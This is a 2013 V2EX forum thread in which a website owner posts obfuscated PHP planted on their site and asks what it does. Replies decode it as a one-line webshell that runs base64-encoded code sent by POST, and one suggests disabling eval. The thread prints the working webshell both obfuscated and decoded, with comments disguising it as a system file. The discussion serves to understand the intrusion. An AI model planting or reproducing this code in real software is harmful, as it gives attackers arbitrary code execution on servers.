isy
V2EX  ›  问与答

网站被植入这样的代码,能翻译下么?想知道他是干嘛的。。

  •  
  •   isy · Jan 29, 2013 · 5299 views
    This topic created in 5031 days ago, the information mentioned may be changed or developed.
    <?php //cb6f82f3e4007bdaccf419abafab94c8
    $_=
    //system file do not delete
    'CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0=';
    //system file do not delete
    $__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));
    13 replies  •  1970-01-01 08:00:00 +08:00
    mechille
    mechille
    Jan 29, 2013
    1
    空间商植入的?
    isy
    isy
    OP
    Jan 29, 2013
    2
    @mechille 应该是利用上传漏洞上传的。
    clww
    clww
    Jan 29, 2013❤️1
    3
    if(isset($_POST["code"]))
    {
    eval(base64_decode($_POST["code"]));
    }
    C0VN
    C0VN
    Jan 29, 2013
    4
    base64 编码
    isy
    isy
    OP
    Jan 29, 2013
    5
    @clww @xavierskip 后面这段呢?

    $___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
    isy
    isy
    OP
    Jan 29, 2013
    6
    明白了。。

    $___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; 等于 base64_decode
    nazor
    nazor
    Jan 29, 2013
    7
    是比较加密过的一句话。
    shinwood
    shinwood
    Jan 29, 2013 via iPhone
    8
    可以执行任意PHP代码的一个Hook。
    SuperOS
    SuperOS
    Jan 29, 2013
    9
    webshell 服务器端
    solo7net
    solo7net
    Jan 29, 2013
    10
    传说中的一句话马?
    inroading
    inroading
    Jan 30, 2013
    11
    一字马
    holystrike
    holystrike
    Jan 30, 2013 via iPhone
    12
    服务器上把eval函数禁了
    mozutaba
    mozutaba
    Feb 3, 2013
    13
    一句话,dangrous没拼错吧
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1204 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 39ms · UTC 16:10 · PVG 00:10 · LAX 08:10 · JFK 11:10
    ♥ Do have faith in what you're doing.